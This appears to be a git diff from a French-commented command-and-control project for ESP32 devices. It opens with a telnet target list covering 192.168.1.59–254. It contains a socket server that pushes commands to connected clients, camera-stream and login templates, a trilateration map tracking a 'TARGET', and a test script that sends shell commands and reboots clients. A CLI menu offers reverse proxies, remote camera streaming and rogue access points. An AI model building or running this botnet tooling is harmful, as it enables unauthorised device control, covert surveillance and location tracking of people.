192.168.1.59:23|PORT_CHECK
|
|
||||||
192.168.1.60:23|PORT_CHECK
|
|
||||||
192.168.1.61:23|PORT_CHECK
|
|
||||||
192.168.1.62:23|PORT_CHECK
|
|
||||||
192.168.1.63:23|PORT_CHECK
|
|
||||||
192.168.1.64:23|PORT_CHECK
|
|
||||||
192.168.1.65:23|PORT_CHECK
|
|
||||||
192.168.1.66:23|PORT_CHECK
|
|
||||||
192.168.1.67:23|PORT_CHECK
|
|
||||||
192.168.1.68:23|PORT_CHECK
|
|
||||||
192.168.1.69:23|PORT_CHECK
|
|
||||||
192.168.1.70:23|PORT_CHECK
|
|
||||||
192.168.1.71:23|PORT_CHECK
|
|
||||||
192.168.1.72:23|PORT_CHECK
|
|
||||||
192.168.1.73:23|PORT_CHECK
|
|
||||||
192.168.1.74:23|PORT_CHECK
|
|
||||||
192.168.1.75:23|PORT_CHECK
|
|
||||||
192.168.1.76:23|PORT_CHECK
|
|
||||||
192.168.1.77:23|PORT_CHECK
|
|
||||||
192.168.1.78:23|PORT_CHECK
|
|
||||||
192.168.1.79:23|PORT_CHECK
|
|
||||||
192.168.1.80:23|PORT_CHECK
|
|
||||||
192.168.1.81:23|PORT_CHECK
|
|
||||||
192.168.1.82:23|PORT_CHECK
|
|
||||||
192.168.1.83:23|PORT_CHECK
|
|
||||||
192.168.1.84:23|PORT_CHECK
|
|
||||||
192.168.1.85:23|PORT_CHECK
|
|
||||||
192.168.1.86:23|PORT_CHECK
|
|
||||||
192.168.1.87:23|PORT_CHECK
|
|
||||||
192.168.1.88:23|PORT_CHECK
|
|
||||||
192.168.1.89:23|PORT_CHECK
|
|
||||||
192.168.1.90:23|PORT_CHECK
|
|
||||||
192.168.1.91:23|PORT_CHECK
|
|
||||||
192.168.1.92:23|PORT_CHECK
|
|
||||||
192.168.1.93:23|PORT_CHECK
|
|
||||||
192.168.1.94:23|PORT_CHECK
|
|
||||||
192.168.1.95:23|PORT_CHECK
|
|
||||||
192.168.1.96:23|PORT_CHECK
|
|
||||||
192.168.1.97:23|PORT_CHECK
|
|
||||||
192.168.1.98:23|PORT_CHECK
|
|
||||||
192.168.1.99:23|PORT_CHECK
|
|
||||||
192.168.1.100:23|PORT_CHECK
|
|
||||||
192.168.1.101:23|PORT_CHECK
|
|
||||||
192.168.1.102:23|PORT_CHECK
|
|
||||||
192.168.1.103:23|PORT_CHECK
|
|
||||||
192.168.1.104:23|PORT_CHECK
|
|
||||||
192.168.1.105:23|PORT_CHECK
|
|
||||||
192.168.1.106:23|PORT_CHECK
|
|
||||||
192.168.1.107:23|PORT_CHECK
|
|
||||||
192.168.1.108:23|PORT_CHECK
|
|
||||||
192.168.1.109:23|PORT_CHECK
|
|
||||||
192.168.1.110:23|PORT_CHECK
|
|
||||||
192.168.1.111:23|PORT_CHECK
|
|
||||||
192.168.1.112:23|PORT_CHECK
|
|
||||||
192.168.1.113:23|PORT_CHECK
|
|
||||||
192.168.1.114:23|PORT_CHECK
|
|
||||||
192.168.1.115:23|PORT_CHECK
|
|
||||||
192.168.1.116:23|PORT_CHECK
|
|
||||||
192.168.1.117:23|PORT_CHECK
|
|
||||||
192.168.1.118:23|PORT_CHECK
|
|
||||||
192.168.1.119:23|PORT_CHECK
|
|
||||||
192.168.1.120:23|PORT_CHECK
|
|
||||||
192.168.1.121:23|PORT_CHECK
|
|
||||||
192.168.1.122:23|PORT_CHECK
|
|
||||||
192.168.1.123:23|PORT_CHECK
|
|
||||||
192.168.1.124:23|PORT_CHECK
|
|
||||||
192.168.1.125:23|PORT_CHECK
|
|
||||||
192.168.1.126:23|PORT_CHECK
|
|
||||||
192.168.1.127:23|PORT_CHECK
|
|
||||||
192.168.1.128:23|PORT_CHECK
|
|
||||||
192.168.1.129:23|PORT_CHECK
|
|
||||||
192.168.1.130:23|PORT_CHECK
|
|
||||||
192.168.1.131:23|PORT_CHECK
|
|
||||||
192.168.1.132:23|PORT_CHECK
|
|
||||||
192.168.1.133:23|PORT_CHECK
|
|
||||||
192.168.1.134:23|PORT_CHECK
|
|
||||||
192.168.1.135:23|PORT_CHECK
|
|
||||||
192.168.1.136:23|PORT_CHECK
|
|
||||||
192.168.1.137:23|PORT_CHECK
|
|
||||||
192.168.1.138:23|PORT_CHECK
|
|
||||||
192.168.1.139:23|PORT_CHECK
|
|
||||||
192.168.1.140:23|PORT_CHECK
|
|
||||||
192.168.1.141:23|PORT_CHECK
|
|
||||||
192.168.1.142:23|PORT_CHECK
|
|
||||||
192.168.1.143:23|PORT_CHECK
|
|
||||||
192.168.1.144:23|PORT_CHECK
|
|
||||||
192.168.1.145:23|PORT_CHECK
|
|
||||||
192.168.1.146:23|PORT_CHECK
|
|
||||||
192.168.1.147:23|PORT_CHECK
|
|
||||||
192.168.1.148:23|PORT_CHECK
|
|
||||||
192.168.1.149:23|PORT_CHECK
|
|
||||||
192.168.1.150:23|PORT_CHECK
|
|
||||||
192.168.1.151:23|PORT_CHECK
|
|
||||||
192.168.1.152:23|PORT_CHECK
|
|
||||||
192.168.1.153:23|PORT_CHECK
|
|
||||||
192.168.1.154:23|PORT_CHECK
|
|
||||||
192.168.1.155:23|PORT_CHECK
|
|
||||||
192.168.1.156:23|PORT_CHECK
|
|
||||||
192.168.1.157:23|PORT_CHECK
|
|
||||||
192.168.1.158:23|PORT_CHECK
|
|
||||||
192.168.1.159:23|PORT_CHECK
|
|
||||||
192.168.1.160:23|PORT_CHECK
|
|
||||||
192.168.1.161:23|PORT_CHECK
|
|
||||||
192.168.1.162:23|PORT_CHECK
|
|
||||||
192.168.1.163:23|PORT_CHECK
|
|
||||||
192.168.1.164:23|PORT_CHECK
|
|
||||||
192.168.1.165:23|PORT_CHECK
|
|
||||||
192.168.1.166:23|PORT_CHECK
|
|
||||||
192.168.1.167:23|PORT_CHECK
|
|
||||||
192.168.1.168:23|PORT_CHECK
|
|
||||||
192.168.1.169:23|PORT_CHECK
|
|
||||||
192.168.1.170:23|PORT_CHECK
|
|
||||||
192.168.1.171:23|PORT_CHECK
|
|
||||||
192.168.1.172:23|PORT_CHECK
|
|
||||||
192.168.1.173:23|PORT_CHECK
|
|
||||||
192.168.1.174:23|PORT_CHECK
|
|
||||||
192.168.1.175:23|PORT_CHECK
|
|
||||||
192.168.1.176:23|PORT_CHECK
|
|
||||||
192.168.1.177:23|PORT_CHECK
|
|
||||||
192.168.1.178:23|PORT_CHECK
|
|
||||||
192.168.1.179:23|PORT_CHECK
|
|
||||||
192.168.1.180:23|PORT_CHECK
|
|
||||||
192.168.1.181:23|PORT_CHECK
|
|
||||||
192.168.1.182:23|PORT_CHECK
|
|
||||||
192.168.1.183:23|PORT_CHECK
|
|
||||||
192.168.1.184:23|PORT_CHECK
|
|
||||||
192.168.1.185:23|PORT_CHECK
|
|
||||||
192.168.1.186:23|PORT_CHECK
|
|
||||||
192.168.1.187:23|PORT_CHECK
|
|
||||||
192.168.1.188:23|PORT_CHECK
|
|
||||||
192.168.1.189:23|PORT_CHECK
|
|
||||||
192.168.1.190:23|PORT_CHECK
|
|
||||||
192.168.1.191:23|PORT_CHECK
|
|
||||||
192.168.1.192:23|PORT_CHECK
|
|
||||||
192.168.1.193:23|PORT_CHECK
|
|
||||||
192.168.1.194:23|PORT_CHECK
|
|
||||||
192.168.1.195:23|PORT_CHECK
|
|
||||||
192.168.1.196:23|PORT_CHECK
|
|
||||||
192.168.1.197:23|PORT_CHECK
|
|
||||||
192.168.1.198:23|PORT_CHECK
|
|
||||||
192.168.1.199:23|PORT_CHECK
|
|
||||||
192.168.1.200:23|PORT_CHECK
|
|
||||||
192.168.1.201:23|PORT_CHECK
|
|
||||||
192.168.1.202:23|PORT_CHECK
|
|
||||||
192.168.1.203:23|PORT_CHECK
|
|
||||||
192.168.1.204:23|PORT_CHECK
|
|
||||||
192.168.1.205:23|PORT_CHECK
|
|
||||||
192.168.1.206:23|PORT_CHECK
|
|
||||||
192.168.1.207:23|PORT_CHECK
|
|
||||||
192.168.1.208:23|PORT_CHECK
|
|
||||||
192.168.1.209:23|PORT_CHECK
|
|
||||||
192.168.1.210:23|PORT_CHECK
|
|
||||||
192.168.1.211:23|PORT_CHECK
|
|
||||||
192.168.1.212:23|PORT_CHECK
|
|
||||||
192.168.1.213:23|PORT_CHECK
|
|
||||||
192.168.1.214:23|PORT_CHECK
|
|
||||||
192.168.1.215:23|PORT_CHECK
|
|
||||||
192.168.1.216:23|PORT_CHECK
|
|
||||||
192.168.1.217:23|PORT_CHECK
|
|
||||||
192.168.1.218:23|PORT_CHECK
|
|
||||||
192.168.1.219:23|PORT_CHECK
|
|
||||||
192.168.1.220:23|PORT_CHECK
|
|
||||||
192.168.1.221:23|PORT_CHECK
|
|
||||||
192.168.1.222:23|PORT_CHECK
|
|
||||||
192.168.1.223:23|PORT_CHECK
|
|
||||||
192.168.1.224:23|PORT_CHECK
|
|
||||||
192.168.1.225:23|PORT_CHECK
|
|
||||||
192.168.1.226:23|PORT_CHECK
|
|
||||||
192.168.1.227:23|PORT_CHECK
|
|
||||||
192.168.1.228:23|PORT_CHECK
|
|
||||||
192.168.1.229:23|PORT_CHECK
|
|
||||||
192.168.1.230:23|PORT_CHECK
|
|
||||||
192.168.1.231:23|PORT_CHECK
|
|
||||||
192.168.1.232:23|PORT_CHECK
|
|
||||||
192.168.1.233:23|PORT_CHECK
|
|
||||||
192.168.1.234:23|PORT_CHECK
|
|
||||||
192.168.1.235:23|PORT_CHECK
|
|
||||||
192.168.1.236:23|PORT_CHECK
|
|
||||||
192.168.1.237:23|PORT_CHECK
|
|
||||||
192.168.1.238:23|PORT_CHECK
|
|
||||||
192.168.1.239:23|PORT_CHECK
|
|
||||||
192.168.1.240:23|PORT_CHECK
|
|
||||||
192.168.1.241:23|PORT_CHECK
|
|
||||||
192.168.1.242:23|PORT_CHECK
|
|
||||||
192.168.1.243:23|PORT_CHECK
|
|
||||||
192.168.1.244:23|PORT_CHECK
|
|
||||||
192.168.1.245:23|PORT_CHECK
|
|
||||||
192.168.1.246:23|PORT_CHECK
|
|
||||||
192.168.1.247:23|PORT_CHECK
|
|
||||||
192.168.1.248:23|PORT_CHECK
|
|
||||||
192.168.1.249:23|PORT_CHECK
|
|
||||||
192.168.1.250:23|PORT_CHECK
|
|
||||||
192.168.1.251:23|PORT_CHECK
|
|
||||||
192.168.1.252:23|PORT_CHECK
|
|
||||||
192.168.1.253:23|PORT_CHECK
|
|
||||||
192.168.1.254:23|PORT_CHECK
|
|
||||||
@ -1,65 +0,0 @@
|
|||||||
|
|
||||||
import socket
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
|
|
||||||
clients = {}
|
|
||||||
lock = threading.Lock()
|
|
||||||
|
|
||||||
def load_all_commands(filename="commands.txt"):
|
|
||||||
try:
|
|
||||||
with open(filename, "r") as f:
|
|
||||||
return [line.strip() for line in f if line.strip()]
|
|
||||||
except FileNotFoundError:
|
|
||||||
print(f"[!] Fichier {filename} non trouvé.")
|
|
||||||
return []
|
|
||||||
|
|
||||||
def handle_client(client_socket, address):
|
|
||||||
client_id = f"{address[0]}:{address[1]}"
|
|
||||||
print(f"[+] Nouveau client connecté : {client_id}")
|
|
||||||
|
|
||||||
with lock:
|
|
||||||
clients[client_id] = client_socket
|
|
||||||
|
|
||||||
commands = load_all_commands()
|
|
||||||
|
|
||||||
try:
|
|
||||||
for cmd in commands:
|
|
||||||
print(f"[→] Envoi à {client_id} : {cmd}")
|
|
||||||
client_socket.sendall((cmd + "\n").encode())
|
|
||||||
|
|
||||||
# Attente de la réponse du client avant de continuer
|
|
||||||
data = client_socket.recv(4096)
|
|
||||||
if not data:
|
|
||||||
print(f"[!] Le client {client_id} a fermé la connexion.")
|
|
||||||
break
|
|
||||||
print(f"[←] Réponse de {client_id} : {data.decode(errors='ignore')}")
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
print(f"[!] Erreur avec {client_id} : {e}")
|
|
||||||
|
|
||||||
finally:
|
|
||||||
with lock:
|
|
||||||
if client_id in clients:
|
|
||||||
del clients[client_id]
|
|
||||||
client_socket.close()
|
|
||||||
print(f"[-] Client déconnecté : {client_id}")
|
|
||||||
|
|
||||||
def accept_connections(server_socket):
|
|
||||||
while True:
|
|
||||||
client_socket, addr = server_socket.accept()
|
|
||||||
threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start()
|
|
||||||
|
|
||||||
def start_server(host="0.0.0.0", port=1234):
|
|
||||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
server.bind((host, port))
|
|
||||||
server.listen(5)
|
|
||||||
print(f"[Serveur] En écoute sur {host}:{port}")
|
|
||||||
|
|
||||||
threading.Thread(target=accept_connections, args=(server,), daemon=True).start()
|
|
||||||
|
|
||||||
while True:
|
|
||||||
time.sleep(1)
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
start_server()
|
|
||||||
Binary file not shown.
@ -1,38 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html lang="fr">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<title>Multi Flux Caméras UDP</title>
|
|
||||||
<style>
|
|
||||||
img {
|
|
||||||
max-width: 300px;
|
|
||||||
margin: 10px;
|
|
||||||
border: 2px solid #333;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h1>Caméras en direct</h1>
|
|
||||||
<div id="camera-container">
|
|
||||||
{% for img in image_files %}
|
|
||||||
<div>
|
|
||||||
<p>{{ img }}</p>
|
|
||||||
<img id="img_{{ loop.index }}" src="/streams/{{ img }}?t={{ loop.index }}" alt="Camera {{ loop.index }}">
|
|
||||||
<p>{{ image.split('_')[0] if '_' in image else image }}</p>
|
|
||||||
</div>
|
|
||||||
{% endfor %}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
function refreshImages() {
|
|
||||||
const imgs = document.querySelectorAll("img");
|
|
||||||
imgs.forEach((img, i) => {
|
|
||||||
const src = img.src.split("?")[0];
|
|
||||||
img.src = `${src}?t=${Date.now()}`; // Cache-busting
|
|
||||||
});
|
|
||||||
}
|
|
||||||
setInterval(refreshImages, 100); // Rafraîchit toutes les 100 ms
|
|
||||||
</script>
|
|
||||||
<a href="/trilateration">→ Voir Trilatération</a>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@ -1,58 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html lang="fr">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
||||||
<title>Connexion</title>
|
|
||||||
<style>
|
|
||||||
body {
|
|
||||||
font-family: Arial, sans-serif;
|
|
||||||
background: #f5f5f5;
|
|
||||||
padding: 40px;
|
|
||||||
}
|
|
||||||
.card {
|
|
||||||
max-width: 360px;
|
|
||||||
margin: auto;
|
|
||||||
background: #fff;
|
|
||||||
padding: 30px;
|
|
||||||
border-radius: 10px;
|
|
||||||
box-shadow: 0 0 10px rgba(0,0,0,0.1);
|
|
||||||
}
|
|
||||||
input {
|
|
||||||
width: 100%;
|
|
||||||
padding: 10px;
|
|
||||||
margin: 10px 0;
|
|
||||||
border: 1px solid #ccc;
|
|
||||||
border-radius: 5px;
|
|
||||||
}
|
|
||||||
input[type='submit'] {
|
|
||||||
background: #007BFF;
|
|
||||||
color: #fff;
|
|
||||||
border: none;
|
|
||||||
cursor: pointer;
|
|
||||||
}
|
|
||||||
input[type='submit']:hover {
|
|
||||||
background: #0056b3;
|
|
||||||
}
|
|
||||||
.error {
|
|
||||||
color: red;
|
|
||||||
margin-bottom: 10px;
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="card">
|
|
||||||
<h2>Connexion requise</h2>
|
|
||||||
<p>Veuillez entrer vos identifiants pour accéder au service.</p>
|
|
||||||
{% if error %}
|
|
||||||
<div class="error">{{ error }}</div>
|
|
||||||
{% endif %}
|
|
||||||
<form method="post">
|
|
||||||
<input type="text" name="username" placeholder="Nom d'utilisateur" required>
|
|
||||||
<input type="password" name="password" placeholder="Mot de passe" required>
|
|
||||||
<input type="submit" value="Se connecter">
|
|
||||||
</form>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@ -1,153 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html lang="fr">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<title>Carte de Trilatération</title>
|
|
||||||
<style>
|
|
||||||
body {
|
|
||||||
font-family: Arial, sans-serif;
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
#canvas {
|
|
||||||
border: 1px solid #333;
|
|
||||||
background-color: #f9f9f9;
|
|
||||||
}
|
|
||||||
#controls {
|
|
||||||
margin: 10px;
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h1>Carte de Trilatération</h1>
|
|
||||||
|
|
||||||
<p><strong>Dernier point :</strong>
|
|
||||||
{% if point %}
|
|
||||||
({{ "%.3f"|format(point[0]) }}, {{ "%.3f"|format(point[1]) }})
|
|
||||||
{% else %}
|
|
||||||
Aucun point
|
|
||||||
{% endif %}
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<div id="controls">
|
|
||||||
<label for="gridSize">Taille du plan (L x L) :</label>
|
|
||||||
<input type="number" id="gridSize" value="10" min="5" max="50">
|
|
||||||
<button onclick="redraw()">Appliquer</button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<canvas id="canvas" width="600" height="600"></canvas>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
const originalPoint = {{ point|tojson }};
|
|
||||||
const anchors = {{ anchors|tojson }};
|
|
||||||
const canvas = document.getElementById("canvas");
|
|
||||||
const ctx = canvas.getContext("2d");
|
|
||||||
|
|
||||||
const width = canvas.width;
|
|
||||||
const height = canvas.height;
|
|
||||||
const scale = 50;
|
|
||||||
let gridSize = parseInt(document.getElementById("gridSize").value);
|
|
||||||
|
|
||||||
const espColors = {
|
|
||||||
"esp1": "green",
|
|
||||||
"esp2": "blue",
|
|
||||||
"esp3": "gold"
|
|
||||||
};
|
|
||||||
|
|
||||||
function toCanvasCoord(x, y) {
|
|
||||||
return [x * scale, height - y * scale];
|
|
||||||
}
|
|
||||||
|
|
||||||
function drawGrid() {
|
|
||||||
ctx.strokeStyle = "#ddd";
|
|
||||||
ctx.lineWidth = 1;
|
|
||||||
for (let i = 0; i <= gridSize; i++) {
|
|
||||||
ctx.beginPath();
|
|
||||||
ctx.moveTo(i * scale, 0);
|
|
||||||
ctx.lineTo(i * scale, height);
|
|
||||||
ctx.stroke();
|
|
||||||
|
|
||||||
ctx.beginPath();
|
|
||||||
ctx.moveTo(0, i * scale);
|
|
||||||
ctx.lineTo(width, i * scale);
|
|
||||||
ctx.stroke();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function drawAxes() {
|
|
||||||
ctx.strokeStyle = "#888";
|
|
||||||
ctx.lineWidth = 2;
|
|
||||||
|
|
||||||
ctx.beginPath();
|
|
||||||
ctx.moveTo(0, height);
|
|
||||||
ctx.lineTo(width, height);
|
|
||||||
ctx.stroke();
|
|
||||||
|
|
||||||
ctx.beginPath();
|
|
||||||
ctx.moveTo(0, 0);
|
|
||||||
ctx.lineTo(0, height);
|
|
||||||
ctx.stroke();
|
|
||||||
|
|
||||||
ctx.fillStyle = "#000";
|
|
||||||
ctx.font = "10px sans-serif";
|
|
||||||
for (let i = 0; i <= gridSize; i++) {
|
|
||||||
ctx.fillText(i, i * scale + 2, height - 5);
|
|
||||||
ctx.fillText(i, 2, height - i * scale - 2);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function drawPoint(x, y, color, label) {
|
|
||||||
const [px, py] = toCanvasCoord(x, y);
|
|
||||||
ctx.fillStyle = color;
|
|
||||||
ctx.beginPath();
|
|
||||||
ctx.arc(px, py, 6, 0, 2 * Math.PI);
|
|
||||||
ctx.fill();
|
|
||||||
ctx.stroke();
|
|
||||||
|
|
||||||
if (label) {
|
|
||||||
ctx.font = "12px sans-serif";
|
|
||||||
ctx.fillStyle = "black"; // ✅ ID toujours en noir
|
|
||||||
ctx.fillText(label, px + 8, py - 8);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function drawCircle(x, y, radius, color = 'rgba(0,0,255,0.1)') {
|
|
||||||
const [px, py] = toCanvasCoord(x, y);
|
|
||||||
ctx.beginPath();
|
|
||||||
ctx.arc(px, py, radius * scale, 0, 2 * Math.PI);
|
|
||||||
ctx.fillStyle = color;
|
|
||||||
ctx.fill();
|
|
||||||
ctx.strokeStyle = color;
|
|
||||||
ctx.stroke();
|
|
||||||
}
|
|
||||||
|
|
||||||
function redraw() {
|
|
||||||
gridSize = parseInt(document.getElementById("gridSize").value);
|
|
||||||
ctx.clearRect(0, 0, width, height);
|
|
||||||
drawGrid();
|
|
||||||
drawAxes();
|
|
||||||
|
|
||||||
if (anchors) {
|
|
||||||
for (const [id, coords] of Object.entries(anchors)) {
|
|
||||||
const [x, y, r] = coords;
|
|
||||||
const baseColor = espColors[id] || 'gray';
|
|
||||||
const circleColor = baseColor === 'gold' ? 'rgba(255, 215, 0, 0.1)' :
|
|
||||||
baseColor === 'green' ? 'rgba(0, 128, 0, 0.1)' :
|
|
||||||
baseColor === 'blue' ? 'rgba(0, 0, 255, 0.1)' :
|
|
||||||
'rgba(128,128,128,0.1)';
|
|
||||||
|
|
||||||
if (r) drawCircle(x, y, r, circleColor);
|
|
||||||
drawPoint(x, y, baseColor, id); // ID en noir
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (originalPoint) {
|
|
||||||
const [x, y] = originalPoint;
|
|
||||||
drawCircle(x, y, 0.5, 'rgba(255,0,0,0.2)'); // Cercle d'incertitude
|
|
||||||
drawPoint(x, y, "red", "TARGET");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
redraw();
|
|
||||||
</script>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@ -1,101 +0,0 @@
|
|||||||
from utils.utils import _print_status, send_to_client
|
|
||||||
from utils.reboot import reboot
|
|
||||||
from utils.manager import add_to_group, remove_group, remove_esp_from_group
|
|
||||||
import time
|
|
||||||
|
|
||||||
|
|
||||||
def system_check(c2):
|
|
||||||
_print_status("=============== TEST GLOBAL DU SYSTÈME ===============", "CYAN")
|
|
||||||
|
|
||||||
# 1. Liste des clients connectés
|
|
||||||
_print_status("[1/10] Liste des clients connectés", "YELLOW")
|
|
||||||
if not c2.clients:
|
|
||||||
_print_status("Aucun client connecté", "RED", "✗")
|
|
||||||
return
|
|
||||||
for i, (addr, _) in enumerate(c2.clients.items(), 1):
|
|
||||||
print(f" {i}. {addr[0]}:{addr[1]}")
|
|
||||||
_print_status("Liste récupérée", "GREEN", "✓")
|
|
||||||
|
|
||||||
# 2. Envoi d'une commande simple ("ls") à chaque client
|
|
||||||
_print_status("[2/10] Test d'envoi de commande à chaque client", "YELLOW")
|
|
||||||
for addr in list(c2.clients.keys()):
|
|
||||||
try:
|
|
||||||
response = send_to_client(c2, addr, "ls", wait_response=True)
|
|
||||||
if response:
|
|
||||||
_print_status(f"Réponse reçue de {addr[0]}", "GREEN", "✓")
|
|
||||||
else:
|
|
||||||
_print_status(f"Aucune réponse de {addr[0]}", "RED", "✗")
|
|
||||||
except:
|
|
||||||
_print_status(f"Erreur d'envoi vers {addr[0]}", "RED", "✗")
|
|
||||||
|
|
||||||
# 3. Création et remplissage d'un groupe de test
|
|
||||||
_print_status("[3/10] Création d’un groupe test et ajout de clients", "YELLOW")
|
|
||||||
test_group = "test_all"
|
|
||||||
for i, addr in enumerate(c2.clients.keys()):
|
|
||||||
if i < 2: # Limite à 2 clients pour le test
|
|
||||||
add_to_group(c2, test_group, addr)
|
|
||||||
if test_group in c2.groups:
|
|
||||||
_print_status(f"Groupe '{test_group}' créé avec {len(c2.groups[test_group])} clients", "GREEN", "✓")
|
|
||||||
else:
|
|
||||||
_print_status("Échec création groupe", "RED", "✗")
|
|
||||||
|
|
||||||
# 4. Liste des groupes
|
|
||||||
_print_status("[4/10] Listing des groupes", "YELLOW")
|
|
||||||
if c2.groups:
|
|
||||||
for group, members in c2.groups.items():
|
|
||||||
print(f" {group} : {members}")
|
|
||||||
_print_status("Groupes listés", "GREEN", "✓")
|
|
||||||
else:
|
|
||||||
_print_status("Aucun groupe trouvé", "RED", "✗")
|
|
||||||
|
|
||||||
# 5. Reboot d’un seul client
|
|
||||||
_print_status("[5/10] Reboot d’un seul client", "YELLOW")
|
|
||||||
first_client = list(c2.clients.keys())[0]
|
|
||||||
reboot(c2, first_client, mode="single")
|
|
||||||
time.sleep(5)
|
|
||||||
|
|
||||||
# 6. Reboot du groupe
|
|
||||||
_print_status("[6/10] Reboot du groupe", "YELLOW")
|
|
||||||
reboot(c2, test_group, mode="group")
|
|
||||||
time.sleep(5)
|
|
||||||
|
|
||||||
# 7. Reboot de tous les clients
|
|
||||||
_print_status("[7/10] Reboot de tous les clients", "YELLOW")
|
|
||||||
reboot(c2, mode="all")
|
|
||||||
time.sleep(5)
|
|
||||||
|
|
||||||
# 8. Attente et vérification de reconnexion
|
|
||||||
_print_status("[8/10] Attente de reconnexion des clients", "YELLOW", "!")
|
|
||||||
time.sleep(5)
|
|
||||||
if c2.clients:
|
|
||||||
for addr in c2.clients.keys():
|
|
||||||
print(f" - {addr[0]}:{addr[1]}")
|
|
||||||
_print_status("Clients reconnectés", "GREEN", "✓")
|
|
||||||
else:
|
|
||||||
_print_status("Aucun client reconnecté", "RED", "✗")
|
|
||||||
|
|
||||||
# 9. Retirer un client du groupe
|
|
||||||
# check si il y a plusieurs clients dans le groupe
|
|
||||||
# si oui, retirer le premier
|
|
||||||
# sinon passer le test
|
|
||||||
_print_status("[9/10] Retirer un client du groupe", "YELLOW")
|
|
||||||
if len(c2.groups[test_group]) > 1:
|
|
||||||
first_client = c2.groups[test_group][0]
|
|
||||||
remove_esp_from_group(c2, test_group, [first_client])
|
|
||||||
if first_client not in c2.groups[test_group]:
|
|
||||||
_print_status(f"Client {first_client} retiré du groupe {test_group}", "GREEN", "✓")
|
|
||||||
else:
|
|
||||||
_print_status(f"Échec de retrait du client {first_client} du groupe {test_group}", "RED", "✗")
|
|
||||||
else:
|
|
||||||
_print_status("Groupe ne contient qu'un seul client, pas de retrait effectué", "YELLOW", "!")
|
|
||||||
|
|
||||||
# 10. Suppression du groupe
|
|
||||||
_print_status("[10/10] Suppression du groupe de test", "YELLOW")
|
|
||||||
if test_group in c2.groups:
|
|
||||||
remove_group(c2, test_group)
|
|
||||||
if test_group not in c2.groups:
|
|
||||||
_print_status("Groupe supprimé", "GREEN", "✓")
|
|
||||||
else:
|
|
||||||
_print_status("Échec de suppression du groupe", "RED", "✗")
|
|
||||||
|
|
||||||
_print_status("=============== TEST TERMINÉ ===============", "CYAN")
|
|
||||||
@ -1,149 +0,0 @@
|
|||||||
from utils.manager import list_groups
|
|
||||||
from tools.c2.utils.constant import _color
|
|
||||||
# from utils.genhash import generate_random_endpoint, generate_token
|
|
||||||
from utils.utils import _print_status, _list_clients, _send_command
|
|
||||||
#from test.test import system_check
|
|
||||||
# from udp_server import start_cam_server, stop_cam_server
|
|
||||||
import os
|
|
||||||
import readline
|
|
||||||
from utils.sheldon import call
|
|
||||||
|
|
||||||
def _setup_cli(c2):
|
|
||||||
readline.parse_and_bind("tab: complete")
|
|
||||||
readline.set_completer_delims(' \t\n;')
|
|
||||||
readline.set_completer(c2._complete)
|
|
||||||
readline.set_auto_history(True)
|
|
||||||
|
|
||||||
def _show_menu():
|
|
||||||
menu = f"""
|
|
||||||
{_color('CYAN')}=============== Menu Server ==============={_color('RESET')}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
menu / help -> List of commands
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
########## Manage Esp32 ##########
|
|
||||||
|
|
||||||
|
|
||||||
add_group <group> <id_esp32> -> Add a client to a group
|
|
||||||
list_groups -> List all groups
|
|
||||||
|
|
||||||
remove_group <group> -> Remove a group
|
|
||||||
remove_esp_from <group> <esp> -> Remove a client from a group
|
|
||||||
|
|
||||||
reboot <id_esp32> -> Reboot a specific client
|
|
||||||
reboot <group> -> Reboot all clients in a group
|
|
||||||
reboot all -> Reboot all clients
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
########## System C2 Commands ##########
|
|
||||||
|
|
||||||
|
|
||||||
list -> List all connected clients
|
|
||||||
clear -> Clear the terminal screen
|
|
||||||
exit -> Exit the server
|
|
||||||
start/stop srv_video -> Register a camera service
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
########## Firmware Services client ##########
|
|
||||||
|
|
||||||
|
|
||||||
## Send Commands to firmware ##
|
|
||||||
|
|
||||||
send <id_esp32> <message> -> Send a message to a client
|
|
||||||
or
|
|
||||||
send <id_esp32> <start/stop> <service> <args> -> Start/Stop a service on a specific client
|
|
||||||
|
|
||||||
## Start/Stop Services on clients ##
|
|
||||||
|
|
||||||
start proxy <IP> <PORT> -> Start a reverse proxy on ur ip port for a specific client
|
|
||||||
stop proxy -> Stop the revproxy on a specific client
|
|
||||||
|
|
||||||
start stream <IP> <PORT> -> Start camera stream on a specific client
|
|
||||||
stop stream -> Stop camera stream on a specific client
|
|
||||||
|
|
||||||
start ap <WIFI_SSID> <PASSWORD> -> Start an access point on a specific client
|
|
||||||
